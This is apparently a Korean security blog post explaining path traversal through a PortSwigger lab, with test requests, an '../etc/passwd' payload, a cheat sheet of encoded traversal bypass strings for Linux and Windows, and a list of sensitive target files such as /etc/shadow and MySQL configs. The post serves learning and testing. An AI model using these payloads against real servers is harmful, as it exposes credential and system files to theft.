What Is❔

 

Path Traversal 취약점은 "디렉터리 조작" 으로도 알려져 있으며 파일 다운로드 취약점과 유사한 부분이 많다.

 

사용자로부터 경로(path) 형태의 입력값을 받아 서버의 파일에 접근할 수 있는 공격 기법이다.

 

즉, 경로 조작을 통해 서버 내에 존재하는 파일의 내용을 확인할 수 있게 된다.

 

 

How To❓

 

웹 서비스의 파라미터나 헤더에서 사용자 입력값을 처리하는 부분에 해당 취약점이 발현될 가능성이 존재한다.

 

파일 다운로드 취약점을 진단하는 것처럼 특수문자(../ 등)의 필터링 유무를 먼저 파악하는 것이 중요하다.

> Portswigger의 File Path traversal, simple case 문제로 설명을 진행하자면, 

 

아래의 테스트 페이지에서 임의의 게시글을 클릭한다.

테스트 페이지

 

이미지를 불러올 때 filename 파라미터를 통해서 이미지를 가져온다.

게시글 클릭 시 reqeuset 값

 

사용자로부터 경로 입력값을 받는지 확인해보기 위해 아래와 같은 요청을 보내면

  GET /image?filename=1.png   →   200 OK
  GET /image?filename=./1.png   →   200 OK

  또는
  
  GET /path=/upload/abc/123&filename=1.pdf    →   200 OK
  GET /path=/upload/abc/123/../123&filename=1.pdf    →   200 OK

 

두개의 요청값 모두 200 ok 응답을 확인할 수 있다.

 

위의 결과로 알 수 있는 것은

 

./ 특수문자가 서버 단에서 필터링되어 있거나 현재 디렉터리를 나타내는 ./가 실제 경로로 처리가 된 경우이다.

 

실제 경로로 처리가 된 경우 ../를 사용하여 서버의 파일에 접근을 시도할 수 있다. 

 

/image?filename=../../../../../../etc/passwd  을 입력하면 response 에서 /etc/passwd 파일에 접근이 가능하게 된다. 

 

Good to Know👍

1. 특수문자 Bypass

 

[Linux]

../           
%2e%2e%2f                        #url encoding
%252e%252e%252f            #double url encoding
%u002E%u002E%u002F    #16bit unicode encoding
....//
..././


[Windows]

..\          
%2e%2e%5c                       #url encoding
%252e%252e%255c           #double url encoding
%u002E%u002E%u005c    #16bit unicode encoding
....\\
...\.\

 

 

2. OS 별 주요 경로

 

[ Linux ]

/etc/passwd

../../../../etc/passwd%0a.png (개행문자 삽입 %0a, %0d)

/etc/issue  (로그인 전 배너 설정 파일_로컬에서)

/etc/issue.net (로그인 전 배너 설정 파일_telnet)

/etc/motd  (로그인 성공 메시지 설정 파일 ssh, telnet)

/etc/shadow

/etc/group

/etc/hosts (도메인 주소와 ip 주소가 존재하는 파일)

/var/log/wtmp  (성공한 로그인/로그아웃 정보 파일)

/var/log/btmp

/var/log/lastlog

/etc/my.cnf  (mysql 설정 파일)

/etc/mysql/my.cnf

/usr/local/mysql/etc/my.cnf

 

[ Windows ]

winnt/win.ini

boot.ini

C:\Windows\my.ini  (mysql 설정 파일)

C:\Windows\my.cnf

C:\my.ini

C:\my.cnf

 

+ Recent posts